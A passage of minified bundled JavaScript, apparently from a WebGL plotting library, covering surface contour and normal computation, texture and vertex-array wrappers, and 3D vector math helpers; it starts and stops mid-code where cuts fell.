j&&(this.showContour=V(j.showContour,Boolean)),"showSurface"in j&&(this.showSurface=!!j.showSurface),"contourTint"in j&&(this.contourTint=V(j.contourTint,Boolean)),"contourColor"in j&&(this.contourColor=Q(j.contourColor)),"contourProject"in j&&(this.contourProject=V(j.contourProject,function(Lt){return V(Lt,Boolean)})),"surfaceProject"in j&&(this.surfaceProject=j.surfaceProject),"dynamicColor"in j&&(this.dynamicColor=Q(j.dynamicColor)),"dynamicTint"in j&&(this.dynamicTint=V(j.dynamicTint,Number)),"dynamicWidth"in j&&(this.dynamicWidth=V(j.dynamicWidth,Number)),"opacity"in j&&(this.opacity=j.opacity),"opacityscale"in j&&(this.opacityscale=j.opacityscale),"colorBounds"in j&&(this.colorBounds=j.colorBounds),"vertexColor"in j&&(this.vertexColor=j.vertexColor?1:0),"colormap"in j&&this._colorMap.setPixels(this.genColormap(j.colormap,this.opacityscale));var K=j.field||j.coords&&j.coords[2]||null,oe=!1;if(K||(this._field[2].shape[0]||this._field[2].shape[2]?K=this._field[2].lo(1,1).hi(this._field[2].shape[0]-2,this._field[2].shape[1]-2):K=this._field[2].hi(0,0)),"field"in j||"coords"in j){var re=(K.shape[0]+2)*(K.shape[1]+2);re>this._field[2].data.length&&(u.freeFloat(this._field[2].data),this._field[2].data=u.mallocFloat(r.nextPow2(re))),this._field[2]=b(this._field[2].data,[K.shape[0]+2,K.shape[1]+2]),this.padField(this._field[2],K),this.shape=K.shape.slice();for(var le=this.shape,pe=0;pe<2;++pe)this._field[2].size>this._field[pe].data.length&&(u.freeFloat(this._field[pe].data),this._field[pe].data=u.mallocFloat(this._field[2].size)),this._field[pe]=b(this._field[pe].data,[le[0]+2,le[1]+2]);if(j.coords){var we=j.coords;if(!Array.isArray(we)||we.length!==3)throw new Error("gl-surface: invalid coordinates for x/y");for(pe=0;pe<2;++pe){var xe=we[pe];for(Te=0;Te<2;++Te)if(xe.shape[Te]!==le[Te])throw new Error("gl-surface: coords have incorrect shape");this.padField(this._field[pe],xe)}}else if(j.ticks){var ke=j.ticks;if(!Array.isArray(ke)||ke.length!==2)throw new Error("gl-surface: invalid ticks");for(pe=0;pe<2;++pe){var _e=ke[pe];if((Array.isArray(_e)||_e.length)&&(_e=b(_e)),_e.shape[0]!==le[pe])throw new Error("gl-surface: invalid tick length");var be=b(_e.data,le);be.stride[pe]=_e.stride[0],be.stride[pe^1]=0,this.padField(this._field[pe],be)}}else{for(pe=0;pe<2;++pe){var ge=[0,0];ge[pe]=1,this._field[pe]=b(this._field[pe].data,[le[0]+2,le[1]+2],ge,0)}this._field[0].set(0,0,0);for(var Te=0;Te<le[0];++Te)this._field[0].set(Te+1,0,Te);for(this._field[0].set(le[0]+1,0,le[0]-1),this._field[1].set(0,0,0),Te=0;Te<le[1];++Te)this._field[1].set(0,Te+1,Te);this._field[1].set(0,le[1]+1,le[1]-1)}var Fe=this._field,Oe=b(u.mallocFloat(Fe[2].size*3*2),[3,le[0]+2,le[1]+2,2]);for(pe=0;pe<3;++pe)w(Oe.pick(pe),Fe[pe],"mirror");var Ce=b(u.mallocFloat(Fe[2].size*3),[le[0]+2,le[1]+2,3]);for(pe=0;pe<le[0]+2;++pe)for(Te=0;Te<le[1]+2;++Te){var Be=Oe.get(0,pe,Te,0),$e=Oe.get(0,pe,Te,1),Xe=Oe.get(1,pe,Te,0),Ze=Oe.get(1,pe,Te,1),Ke=Oe.get(2,pe,Te,0),st=Oe.get(2,pe,Te,1),lt=Xe*st-Ze*Ke,ut=Ke*$e-st*Be,yt=Be*Ze-$e*Xe,bt=Math.sqrt(lt*lt+ut*ut+yt*yt);bt<1e-8?(bt=Math.max(Math.abs(lt),Math.abs(ut),Math.abs(yt)),bt<1e-8?(yt=1,ut=lt=0,bt=1):bt=1/bt):bt=1/Math.sqrt(bt),Ce.set(pe,Te,0,lt*bt),Ce.set(pe,Te,1,ut*bt),Ce.set(pe,Te,2,yt*bt)}u.free(Oe.data);var Ot=[1/0,1/0,1/0],Ge=[-1/0,-1/0,-1/0],Le=1/0,Pe=-1/0,De=(le[0]-1)*(le[1]-1)*6,Ee=u.mallocFloat(r.nextPow2(10*De)),ye=0,ae=0;for(pe=0;pe<le[0]-1;++pe)e:for(Te=0;Te<le[1]-1;++Te){for(var de=0;de<2;++de)for(var Me=0;Me<2;++Me)for(var Ie=0;Ie<3;++Ie){var Qe=this._field[Ie].get(1+pe+de,1+Te+Me);if(isNaN(Qe)||!isFinite(Qe))continue e}for(Ie=0;Ie<6;++Ie){var et=pe+I[Ie][0],pt=Te+I[Ie][1],St=this._field[0].get(et+1,pt+1),_t=this._field[1].get(et+1,pt+1);Qe=this._field[2].get(et+1,pt+1),lt=Ce.get(et+1,pt+1,0),ut=Ce.get(et+1,pt+1,1),yt=Ce.get(et+1,pt+1,2),j.intensity&&(Ft=j.intensity.get(et,pt));var Ft=j.intensity?j.intensity.get(et,pt):Qe+this.objectOffset[2];Ee[ye++]=et,Ee[ye++]=pt,Ee[ye++]=St,Ee[ye++]=_t,Ee[ye++]=Qe,Ee[ye++]=0,Ee[ye++]=Ft,Ee[ye++]=lt,Ee[ye++]=ut,Ee[ye++]=yt,Ot[0]=Math.min(Ot[0],St+this.objectOffset[0]),Ot[1]=Math.min(Ot[1],_t+this.objectOffset[1]),Ot[2]=Math.min(Ot[2],Qe+this.objectOffset[2]),Le=Math.min(Le,Ft),Ge[0]=Math.max(Ge[0],St+this.objectOffset[0]),Ge[1]=Math.max(Ge[1],_t+this.objectOffset[1]),Ge[2]=Math.max(Ge[2],Qe+this.objectOffset[2]),Pe=Math.max(Pe,Ft),ae+=1}}for(j.intensityBounds&&(Le=+j.intensityBounds[0],Pe=+j.intensityBounds[1]),pe=6;pe<ye;pe+=10)Ee[pe]=(Ee[pe]-Le)/(Pe-Le);this._vertexCount=ae,this._coordinateBuffer.update(Ee.subarray(0,ye)),u.freeFloat(Ee),u.free(Ce.data),this.bounds=[Ot,Ge],this.intensity=j.intensity||this._field[2],(this.intensityBounds[0]!==Le||this.intensityBounds[1]!==Pe)&&(oe=!0),this.intensityBounds=[Le,Pe]}if("levels"in j){var Tt=j.levels;for(Array.isArray(Tt[0])?Tt=Tt.slice():Tt=[[],[],Tt],pe=0;pe<3;++pe)Tt[pe]=Tt[pe].slice(),Tt[pe].sort(function(Lt,Nt){return Lt-Nt});for(pe=0;pe<3;++pe)for(Te=0;Te<Tt[pe].length;++Te)Tt[pe][Te]-=this.objectOffset[pe];e:for(pe=0;pe<3;++pe){if(Tt[pe].length!==this.contourLevels[pe].length){oe=!0;break}for(Te=0;Te<Tt[pe].length;++Te)if(Tt[pe][Te]!==this.contourLevels[pe][Te]){oe=!0;break e}}this.contourLevels=Tt}if(oe){Fe=this._field,le=this.shape;for(var Gt=[],er=0;er<3;++er){var Pr=this.contourLevels[er],ct=[],Vt=[],Ut=[0,0,0];for(pe=0;pe<Pr.length;++pe){var dr=h(this._field[er],Pr[pe]);ct.push(Gt.length/5|0),ae=0;e:for(Te=0;Te<dr.cells.length;++Te){var sr=dr.cells[Te];for(Ie=0;Ie<2;++Ie){var nt=dr.positions[sr[Ie]],rt=nt[0],vt=Math.floor(rt)|0,gt=rt-vt,wt=nt[1],mt=Math.floor(wt)|0,Pt=wt-mt,zt=!1;t:for(var Xt=0;Xt<3;++Xt){Ut[Xt]=0;var Yt=(er+Xt+1)%3;for(de=0;de<2;++de){var $t=de?gt:1-gt;for(et=Math.min(Math.max(vt+de,0),le[0])|0,Me=0;Me<2;++Me){var yr=Me?Pt:1-Pt;if(pt=Math.min(Math.max(mt+Me,0),le[1])|0,Xt<2?Qe=this._field[Yt].get(et,pt):Qe=(this.intensity.get(et,pt)-this.intensityBounds[0])/(this.intensityBounds[1]-this.intensityBounds[0]),!isFinite(Qe)||isNaN(Qe)){zt=!0;break t}var Ue=$t*yr;Ut[Xt]+=Ue*Qe}}}if(!zt)Gt.push(Ut[0],Ut[1],nt[0],nt[1],Ut[2]),ae+=1;else{if(Ie>0){for(var Ne=0;Ne<5;++Ne)Gt.pop();ae-=1}continue e}}}Vt.push(ae)}this._contourOffsets[er]=ct,this._contourCounts[er]=Vt}var Et=u.mallocFloat(Gt.length);for(pe=0;pe<Gt.length;++pe)Et[pe]=Gt[pe];this._contourBuffer.update(Et),u.freeFloat(Et)}},O.dispose=function(){this._shader.dispose(),this._vao.dispose(),this._coordinateBuffer.dispose(),this._colorMap.dispose(),this._contourBuffer.dispose(),this._contourVAO.dispose(),this._contourShader.dispose(),this._contourPickShader.dispose(),this._dynamicBuffer.dispose(),this._dynamicVAO.dispose();for(var j=0;j<3;++j)u.freeFloat(this._field[j].data)},O.highlight=function(j){var K;if(!j){this._dynamicCounts=[0,0,0],this.dyanamicLevel=[NaN,NaN,NaN],this.highlightLevel=[-1,-1,-1];return}for(K=0;K<3;++K)this.enableHighlight[K]?this.highlightLevel[K]=j.level[K]:this.highlightLevel[K]=-1;var oe;for(this.snapToData?oe=j.dataCoordinate:oe=j.position,K=0;K<3;++K)oe[K]-=this.objectOffset[K];if(!((!this.enableDynamic[0]||oe[0]===this.dynamicLevel[0])&&(!this.enableDynamic[1]||oe[1]===this.dynamicLevel[1])&&(!this.enableDynamic[2]||oe[2]===this.dynamicLevel[2]))){for(var re=0,le=this.shape,pe=u.mallocFloat(12*le[0]*le[1]),we=0;we<3;++we){if(!this.enableDynamic[we]){this.dynamicLevel[we]=NaN,this._dynamicCounts[we]=0;continue}this.dynamicLevel[we]=oe[we];var xe=(we+1)%3,ke=(we+2)%3,_e=this._field[we],be=this._field[xe],ge=this._field[ke],Te=h(_e,oe[we]),Fe=Te.cells,Oe=Te.positions;for(this._dynamicOffsets[we]=re,K=0;K<Fe.length;++K)for(var Ce=Fe[K],Be=0;Be<2;++Be){var $e=Oe[Ce[Be]],Xe=+$e[0],Ze=Xe|0,Ke=Math.min(Ze+1,le[0])|0,st=Xe-Ze,lt=1-st,ut=+$e[1],yt=ut|0,bt=Math.min(yt+1,le[1])|0,Ot=ut-yt,Ge=1-Ot,Le=lt*Ge,Pe=lt*Ot,De=st*Ge,Ee=st*Ot,ye=Le*be.get(Ze,yt)+Pe*be.get(Ze,bt)+De*be.get(Ke,yt)+Ee*be.get(Ke,bt),ae=Le*ge.get(Ze,yt)+Pe*ge.get(Ze,bt)+De*ge.get(Ke,yt)+Ee*ge.get(Ke,bt);if(isNaN(ye)||isNaN(ae)){Be&&(re-=1);break}pe[2*re+0]=ye,pe[2*re+1]=ae,re+=1}this._dynamicCounts[we]=re-this._dynamicOffsets[we]}this._dynamicBuffer.update(pe.subarray(0,2*re)),u.freeFloat(pe)}};function ie(j){var K=j.gl,oe=p(K),re=m(K),le=A(K),pe=n(K),we=f(K),xe=a(K,[{buffer:we,size:4,stride:C,offset:0},{buffer:we,size:3,stride:C,offset:16},{buffer:we,size:3,stride:C,offset:28}]),ke=f(K),_e=a(K,[{buffer:ke,size:4,stride:20,offset:0},{buffer:ke,size:1,stride:20,offset:16}]),be=f(K),ge=a(K,[{buffer:be,size:2,type:K.FLOAT}]),Te=l(K,1,_,K.RGBA,K.UNSIGNED_BYTE);Te.minFilter=K.LINEAR,Te.magFilter=K.LINEAR;var Fe=new F(K,[0,0],[[0,0,0],[0,0,0]],oe,re,we,xe,Te,le,pe,ke,_e,be,ge,[0,0,0]),Oe={levels:[[],[],[]]};for(var Ce in j)Oe[Ce]=j[Ce];return Oe.colormap=Oe.colormap||"jet",Fe.update(Oe),Fe}},8931:function(d,g,t){var r=t(5050),f=t(7498),a=t(5306);d.exports=n;var l=null,u=null,s=null;function y(C){l=[C.LINEAR,C.NEAREST_MIPMAP_LINEAR,C.LINEAR_MIPMAP_NEAREST,C.LINEAR_MIPMAP_NEAREST],u=[C.NEAREST,C.LINEAR,C.NEAREST_MIPMAP_NEAREST,C.NEAREST_MIPMAP_LINEAR,C.LINEAR_MIPMAP_NEAREST,C.LINEAR_MIPMAP_LINEAR],s=[C.REPEAT,C.CLAMP_TO_EDGE,C.MIRRORED_REPEAT]}function c(C){return typeof HTMLCanvasElement<"u"&&C instanceof HTMLCanvasElement||typeof HTMLImageElement<"u"&&C instanceof HTMLImageElement||typeof HTMLVideoElement<"u"&&C instanceof HTMLVideoElement||typeof ImageData<"u"&&C instanceof ImageData}var b=function(C,x){f.muls(C,x,255)};function h(C,x,I){var k=C.gl,B=k.getParameter(k.MAX_TEXTURE_SIZE);if(x<0||x>B||I<0||I>B)throw new Error("gl-texture2d: Invalid texture size");return C._shape=[x,I],C.bind(),k.texImage2D(k.TEXTURE_2D,0,C.format,x,I,0,C.format,C.type,null),C._mipLevels=[0],C}function i(C,x,I,k,B,_){this.gl=C,this.handle=x,this.format=B,this.type=_,this._shape=[I,k],this._mipLevels=[0],this._magFilter=C.NEAREST,this._minFilter=C.NEAREST,this._wrapS=C.CLAMP_TO_EDGE,this._wrapT=C.CLAMP_TO_EDGE,this._anisoSamples=1;var F=this,O=[this._wrapS,this._wrapT];Object.defineProperties(O,[{get:function(){return F._wrapS},set:function(N){return F.wrapS=N}},{get:function(){return F._wrapT},set:function(N){return F.wrapT=N}}]),this._wrapVector=O;var z=[this._shape[0],this._shape[1]];Object.defineProperties(z,[{get:function(){return F._shape[0]},set:function(N){return F.width=N}},{get:function(){return F._shape[1]},set:function(N){return F.height=N}}]),this._shapeVector=z}var v=i.prototype;Object.defineProperties(v,{minFilter:{get:function(){return this._minFilter},set:function(C){this.bind();var x=this.gl;if(this.type===x.FLOAT&&l.indexOf(C)>=0&&(x.getExtension("OES_texture_float_linear")||(C=x.NEAREST)),u.indexOf(C)<0)throw new Error("gl-texture2d: Unknown filter mode "+C);return x.texParameteri(x.TEXTURE_2D,x.TEXTURE_MIN_FILTER,C),this._minFilter=C}},magFilter:{get:function(){return this._magFilter},set:function(C){this.bind();var x=this.gl;if(this.type===x.FLOAT&&l.indexOf(C)>=0&&(x.getExtension("OES_texture_float_linear")||(C=x.NEAREST)),u.indexOf(C)<0)throw new Error("gl-texture2d: Unknown filter mode "+C);return x.texParameteri(x.TEXTURE_2D,x.TEXTURE_MAG_FILTER,C),this._magFilter=C}},mipSamples:{get:function(){return this._anisoSamples},set:function(C){var x=this._anisoSamples;if(this._anisoSamples=Math.max(C,1)|0,x!==this._anisoSamples){var I=this.gl.getExtension("EXT_texture_filter_anisotropic");I&&this.gl.texParameterf(this.gl.TEXTURE_2D,I.TEXTURE_MAX_ANISOTROPY_EXT,this._anisoSamples)}return this._anisoSamples}},wrapS:{get:function(){return this._wrapS},set:function(C){if(this.bind(),s.indexOf(C)<0)throw new Error("gl-texture2d: Unknown wrap mode "+C);return this.gl.texParameteri(this.gl.TEXTURE_2D,this.gl.TEXTURE_WRAP_S,C),this._wrapS=C}},wrapT:{get:function(){return this._wrapT},set:function(C){if(this.bind(),s.indexOf(C)<0)throw new Error("gl-texture2d: Unknown wrap mode "+C);return this.gl.texParameteri(this.gl.TEXTURE_2D,this.gl.TEXTURE_WRAP_T,C),this._wrapT=C}},wrap:{get:function(){return this._wrapVector},set:function(C){if(Array.isArray(C)||(C=[C,C]),C.length!==2)throw new Error("gl-texture2d: Must specify wrap mode for rows and columns");for(var x=0;x<2;++x)if(s.indexOf(C[x])<0)throw new Error("gl-texture2d: Unknown wrap mode "+C);this._wrapS=C[0],this._wrapT=C[1];var I=this.gl;return this.bind(),I.texParameteri(I.TEXTURE_2D,I.TEXTURE_WRAP_S,this._wrapS),I.texParameteri(I.TEXTURE_2D,I.TEXTURE_WRAP_T,this._wrapT),C}},shape:{get:function(){return this._shapeVector},set:function(C){if(!Array.isArray(C))C=[C|0,C|0];else if(C.length!==2)throw new Error("gl-texture2d: Invalid texture shape");return h(this,C[0]|0,C[1]|0),[C[0]|0,C[1]|0]}},width:{get:function(){return this._shape[0]},set:function(C){return C=C|0,h(this,C,this._shape[1]),C}},height:{get:function(){return this._shape[1]},set:function(C){return C=C|0,h(this,this._shape[0],C),C}}}),v.bind=function(C){var x=this.gl;return C!==void 0&&x.activeTexture(x.TEXTURE0+(C|0)),x.bindTexture(x.TEXTURE_2D,this.handle),C!==void 0?C|0:x.getParameter(x.ACTIVE_TEXTURE)-x.TEXTURE0},v.dispose=function(){this.gl.deleteTexture(this.handle)},v.generateMipmap=function(){this.bind(),this.gl.generateMipmap(this.gl.TEXTURE_2D);for(var C=Math.min(this._shape[0],this._shape[1]),x=0;C>0;++x,C>>>=1)this._mipLevels.indexOf(x)<0&&this._mipLevels.push(x)},v.setPixels=function(C,x,I,k){var B=this.gl;this.bind(),Array.isArray(x)?(k=I,I=x[1]|0,x=x[0]|0):(x=x||0,I=I||0),k=k||0;var _=c(C)?C:C.raw;if(_){var F=this._mipLevels.indexOf(k)<0;F?(B.texImage2D(B.TEXTURE_2D,0,this.format,this.format,this.type,_),this._mipLevels.push(k)):B.texSubImage2D(B.TEXTURE_2D,k,x,I,this.format,this.type,_)}else if(C.shape&&C.stride&&C.data){if(C.shape.length<2||x+C.shape[1]>this._shape[1]>>>k||I+C.shape[0]>this._shape[0]>>>k||x<0||I<0)throw new Error("gl-texture2d: Texture dimensions are out of bounds");w(B,x,I,k,this.format,this.type,this._mipLevels,C)}else throw new Error("gl-texture2d: Unsupported data type")};function T(C,x){return C.length===3?x[2]===1&&x[1]===C[0]*C[2]&&x[0]===C[2]:x[0]===1&&x[1]===C[0]}function w(C,x,I,k,B,_,F,O){var z=O.dtype,N=O.shape.slice();if(N.length<2||N.length>3)throw new Error("gl-texture2d: Invalid ndarray, must be 2d or 3d");var G=0,J=0,q=T(N,O.stride.slice());if(z==="float32"?G=C.FLOAT:z==="float64"?(G=C.FLOAT,q=!1,z="float32"):z==="uint8"?G=C.UNSIGNED_BYTE:(G=C.UNSIGNED_BYTE,q=!1,z="uint8"),N.length===2)J=C.LUMINANCE,N=[N[0],N[1],1],O=r(O.data,N,[O.stride[0],O.stride[1],1],O.offset);else if(N.length===3){if(N[2]===1)J=C.ALPHA;else if(N[2]===2)J=C.LUMINANCE_ALPHA;else if(N[2]===3)J=C.RGB;else if(N[2]===4)J=C.RGBA;else throw new Error("gl-texture2d: Invalid shape for pixel coords");N[2]}else throw new Error("gl-texture2d: Invalid shape for texture");if((J===C.LUMINANCE||J===C.ALPHA)&&(B===C.LUMINANCE||B===C.ALPHA)&&(J=B),J!==B)throw new Error("gl-texture2d: Incompatible texture format for setPixels");var ne=O.size,fe=F.indexOf(k)<0;if(fe&&F.push(k),G===_&&q)O.offset===0&&O.data.length===ne?fe?C.texImage2D(C.TEXTURE_2D,k,B,N[0],N[1],0,B,_,O.data):C.texSubImage2D(C.TEXTURE_2D,k,x,I,N[0],N[1],B,_,O.data):fe?C.texImage2D(C.TEXTURE_2D,k,B,N[0],N[1],0,B,_,O.data.subarray(O.offset,O.offset+ne)):C.texSubImage2D(C.TEXTURE_2D,k,x,I,N[0],N[1],B,_,O.data.subarray(O.offset,O.offset+ne));else{var X;_===C.FLOAT?X=a.mallocFloat32(ne):X=a.mallocUint8(ne);var W=r(X,N,[N[2],N[2]*N[0],1]);G===C.FLOAT&&_===C.UNSIGNED_BYTE?b(W,O):f.assign(W,O),fe?C.texImage2D(C.TEXTURE_2D,k,B,N[0],N[1],0,B,_,X.subarray(0,ne)):C.texSubImage2D(C.TEXTURE_2D,k,x,I,N[0],N[1],B,_,X.subarray(0,ne)),_===C.FLOAT?a.freeFloat32(X):a.freeUint8(X)}}function E(C){var x=C.createTexture();return C.bindTexture(C.TEXTURE_2D,x),C.texParameteri(C.TEXTURE_2D,C.TEXTURE_MIN_FILTER,C.NEAREST),C.texParameteri(C.TEXTURE_2D,C.TEXTURE_MAG_FILTER,C.NEAREST),C.texParameteri(C.TEXTURE_2D,C.TEXTURE_WRAP_S,C.CLAMP_TO_EDGE),C.texParameteri(C.TEXTURE_2D,C.TEXTURE_WRAP_T,C.CLAMP_TO_EDGE),x}function p(C,x,I,k,B){var _=C.getParameter(C.MAX_TEXTURE_SIZE);if(x<0||x>_||I<0||I>_)throw new Error("gl-texture2d: Invalid texture shape");if(B===C.FLOAT&&!C.getExtension("OES_texture_float"))throw new Error("gl-texture2d: Floating point textures not supported on this platform");var F=E(C);return C.texImage2D(C.TEXTURE_2D,0,k,x,I,0,k,B,null),new i(C,F,x,I,k,B)}function A(C,x,I,k,B,_){var F=E(C);return C.texImage2D(C.TEXTURE_2D,0,B,B,_,x),new i(C,F,I,k,B,_)}function m(C,x){var I=x.dtype,k=x.shape.slice(),B=C.getParameter(C.MAX_TEXTURE_SIZE);if(k[0]<0||k[0]>B||k[1]<0||k[1]>B)throw new Error("gl-texture2d: Invalid texture size");var _=T(k,x.stride.slice()),F=0;I==="float32"?F=C.FLOAT:I==="float64"?(F=C.FLOAT,_=!1,I="float32"):I==="uint8"?F=C.UNSIGNED_BYTE:(F=C.UNSIGNED_BYTE,_=!1,I="uint8");var O=0;if(k.length===2)O=C.LUMINANCE,k=[k[0],k[1],1],x=r(x.data,k,[x.stride[0],x.stride[1],1],x.offset);else if(k.length===3)if(k[2]===1)O=C.ALPHA;else if(k[2]===2)O=C.LUMINANCE_ALPHA;else if(k[2]===3)O=C.RGB;else if(k[2]===4)O=C.RGBA;else throw new Error("gl-texture2d: Invalid shape for pixel coords");else throw new Error("gl-texture2d: Invalid shape for texture");F===C.FLOAT&&!C.getExtension("OES_texture_float")&&(F=C.UNSIGNED_BYTE,_=!1);var z,N,G=x.size;if(_)x.offset===0&&x.data.length===G?z=x.data:z=x.data.subarray(x.offset,x.offset+G);else{var J=[k[2],k[2]*k[0],1];N=a.malloc(G,I);var q=r(N,k,J,0);(I==="float32"||I==="float64")&&F===C.UNSIGNED_BYTE?b(q,x):f.assign(q,x),z=N.subarray(0,G)}var ne=E(C);return C.texImage2D(C.TEXTURE_2D,0,O,k[0],k[1],0,O,F,z),_||a.free(N),new i(C,ne,k[0],k[1],O,F)}function n(C){if(arguments.length<=1)throw new Error("gl-texture2d: Missing arguments for texture2d constructor");if(l||y(C),typeof arguments[1]=="number")return p(C,arguments[1],arguments[2],arguments[3]||C.RGBA,arguments[4]||C.UNSIGNED_BYTE);if(Array.isArray(arguments[1]))return p(C,arguments[1][0]|0,arguments[1][1]|0,arguments[2]||C.RGBA,arguments[3]||C.UNSIGNED_BYTE);if(typeof arguments[1]=="object"){var x=arguments[1],I=c(x)?x:x.raw;if(I)return A(C,I,x.width|0,x.height|0,arguments[2]||C.RGBA,arguments[3]||C.UNSIGNED_BYTE);if(x.shape&&x.data&&x.stride)return m(C,x)}throw new Error("gl-texture2d: Invalid arguments for texture2d constructor")}},3056:function(d){function g(t,r,f){r?r.bind():t.bindBuffer(t.ELEMENT_ARRAY_BUFFER,null);var a=t.getParameter(t.MAX_VERTEX_ATTRIBS)|0;if(f){if(f.length>a)throw new Error("gl-vao: Too many vertex attributes");for(var l=0;l<f.length;++l){var u=f[l];if(u.buffer){var s=u.buffer,y=u.size||4,c=u.type||t.FLOAT,b=!!u.normalized,h=u.stride||0,i=u.offset||0;s.bind(),t.enableVertexAttribArray(l),t.vertexAttribPointer(l,y,c,b,h,i)}else{if(typeof u=="number")t.vertexAttrib1f(l,u);else if(u.length===1)t.vertexAttrib1f(l,u[0]);else if(u.length===2)t.vertexAttrib2f(l,u[0],u[1]);else if(u.length===3)t.vertexAttrib3f(l,u[0],u[1],u[2]);else if(u.length===4)t.vertexAttrib4f(l,u[0],u[1],u[2],u[3]);else throw new Error("gl-vao: Invalid vertex attribute");t.disableVertexAttribArray(l)}}for(;l<a;++l)t.disableVertexAttribArray(l)}else{t.bindBuffer(t.ARRAY_BUFFER,null);for(var l=0;l<a;++l)t.disableVertexAttribArray(l)}}d.exports=g},7220:function(d,g,t){var r=t(3056);function f(l){this.gl=l,this._elements=null,this._attributes=null,this._elementsType=l.UNSIGNED_SHORT}f.prototype.bind=function(){r(this.gl,this._elements,this._attributes)},f.prototype.update=function(l,u,s){this._elements=u,this._attributes=l,this._elementsType=s||this.gl.UNSIGNED_SHORT},f.prototype.dispose=function(){},f.prototype.unbind=function(){},f.prototype.draw=function(l,u,s){s=s||0;var y=this.gl;this._elements?y.drawElements(l,u,this._elementsType,s):y.drawArrays(l,s,u)};function a(l){return new f(l)}d.exports=a},3778:function(d,g,t){var r=t(3056);function f(u,s,y,c,b,h){this.location=u,this.dimension=s,this.a=y,this.b=c,this.c=b,this.d=h}f.prototype.bind=function(u){switch(this.dimension){case 1:u.vertexAttrib1f(this.location,this.a);break;case 2:u.vertexAttrib2f(this.location,this.a,this.b);break;case 3:u.vertexAttrib3f(this.location,this.a,this.b,this.c);break;case 4:u.vertexAttrib4f(this.location,this.a,this.b,this.c,this.d);break}};function a(u,s,y){this.gl=u,this._ext=s,this.handle=y,this._attribs=[],this._useElements=!1,this._elementsType=u.UNSIGNED_SHORT}a.prototype.bind=function(){this._ext.bindVertexArrayOES(this.handle);for(var u=0;u<this._attribs.length;++u)this._attribs[u].bind(this.gl)},a.prototype.unbind=function(){this._ext.bindVertexArrayOES(null)},a.prototype.dispose=function(){this._ext.deleteVertexArrayOES(this.handle)},a.prototype.update=function(u,s,y){if(this.bind(),r(this.gl,s,u),this.unbind(),this._attribs.length=0,u)for(var c=0;c<u.length;++c){var b=u[c];typeof b=="number"?this._attribs.push(new f(c,1,b)):Array.isArray(b)&&this._attribs.push(new f(c,b.length,b[0],b[1],b[2],b[3]))}this._useElements=!!s,this._elementsType=y||this.gl.UNSIGNED_SHORT},a.prototype.draw=function(u,s,y){y=y||0;var c=this.gl;this._useElements?c.drawElements(u,s,this._elementsType,y):c.drawArrays(u,y,s)};function l(u,s){return new a(u,s,s.createVertexArrayOES())}d.exports=l},2944:function(d,g,t){var r=t(3778),f=t(7220);function a(u){this.bindVertexArrayOES=u.bindVertexArray.bind(u),this.createVertexArrayOES=u.createVertexArray.bind(u),this.deleteVertexArrayOES=u.deleteVertexArray.bind(u)}function l(u,s,y,c){var b=u.createVertexArray?new a(u):u.getExtension("OES_vertex_array_object"),h;return b?h=r(u,b):h=f(u),h.update(s,y,c),h}d.exports=l},2598:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]+f[0],t[1]=r[1]+f[1],t[2]=r[2]+f[2],t}},5879:function(d,g,t){d.exports=l;var r=t(5415),f=t(899),a=t(9305);function l(u,s){var y=r(u[0],u[1],u[2]),c=r(s[0],s[1],s[2]);f(y,y),f(c,c);var b=a(y,c);return b>1?0:Math.acos(b)}},8827:function(d){d.exports=g;function g(t,r){return t[0]=Math.ceil(r[0]),t[1]=Math.ceil(r[1]),t[2]=Math.ceil(r[2]),t}},7622:function(d){d.exports=g;function g(t){var r=new Float32Array(3);return r[0]=t[0],r[1]=t[1],r[2]=t[2],r}},8782:function(d){d.exports=g;function g(t,r){return t[0]=r[0],t[1]=r[1],t[2]=r[2],t}},8501:function(d){d.exports=g;function g(){var t=new Float32Array(3);return t[0]=0,t[1]=0,t[2]=0,t}},903:function(d){d.exports=g;function g(t,r,f){var a=r[0],l=r[1],u=r[2],s=f[0],y=f[1],c=f[2];return t[0]=l*c-u*y,t[1]=u*s-a*c,t[2]=a*y-l*s,t}},5981:function(d,g,t){d.exports=t(8288)},8288:function(d){d.exports=g;function g(t,r){var f=r[0]-t[0],a=r[1]-t[1],l=r[2]-t[2];return Math.sqrt(f*f+a*a+l*l)}},8629:function(d,g,t){d.exports=t(7979)},7979:function(d){d.exports=g;function g(t,r,f){return t[0]=r[0]/f[0],t[1]=r[1]/f[1],t[2]=r[2]/f[2],t}},9305:function(d){d.exports=g;function g(t,r){return t[0]*r[0]+t[1]*r[1]+t[2]*r[2]}},154:function(d){d.exports=1e-6},4932:function(d,g,t){d.exports=f;var r=t(154);function f(a,l){var u=a[0],s=a[1],y=a[2],c=l[0],b=l[1],h=l[2];return Math.abs(u-c)<=r*Math.max(1,Math.abs(u),Math.abs(c))&&Math.abs(s-b)<=r*Math.max(1,Math.abs(s),Math.abs(b))&&Math.abs(y-h)<=r*Math.max(1,Math.abs(y),Math.abs(h))}},5777:function(d){d.exports=g;function g(t,r){return t[0]===r[0]&&t[1]===r[1]&&t[2]===r[2]}},3306:function(d){d.exports=g;function g(t,r){return t[0]=Math.floor(r[0]),t[1]=Math.floor(r[1]),t[2]=Math.floor(r[2]),t}},7447:function(d,g,t){d.exports=f;var r=t(8501)();function f(a,l,u,s,y,c){var b,h;for(l||(l=3),u||(u=0),s?h=Math.min(s*l+u,a.length):h=a.length,b=u;b<h;b+=l)r[0]=a[b],r[1]=a[b+1],r[2]=a[b+2],y(r,r,c),a[b]=r[0],a[b+1]=r[1],a[b+2]=r[2];return a}},5415:function(d){d.exports=g;function g(t,r,f){var a=new Float32Array(3);return a[0]=t,a[1]=r,a[2]=f,a}},2858:function(d,g,t){d.exports={EPSILON:t(154),create:t(8501),clone:t(7622),angle:t(5879),fromValues:t(5415),copy:t(8782),set:t(831),equals:t(4932),exactEquals:t(5777),add:t(2598),subtract:t(911),sub:t(8921),multiply:t(105),mul:t(5733),divide:t(7979),div:t(8629),min:t(3605),max:t(1716),floor:t(3306),ceil:t(8827),round:t(1624),scale:t(5685),scaleAndAdd:t(6722),distance:t(8288),dist:t(5981),squaredDistance:t(6403),sqrDist:t(5294),length:t(4693),len:t(1468),squaredLength:t(4337),sqrLen:t(3303),negate:t(435),inverse:t(2073),normalize:t(899),dot:t(9305),cross:t(903),lerp:t(1868),random:t(6660),transformMat4:t(3255),transformMat3:t(9908),transformQuat:t(6568),rotateX:t(392),rotateY:t(3222),rotateZ:t(3388),forEach:t(7447)}},2073:function(d){d.exports=g;function g(t,r){return t[0]=1/r[0],t[1]=1/r[1],t[2]=1/r[2],t}},1468:function(d,g,t){d.exports=t(4693)},4693:function(d){d.exports=g;function 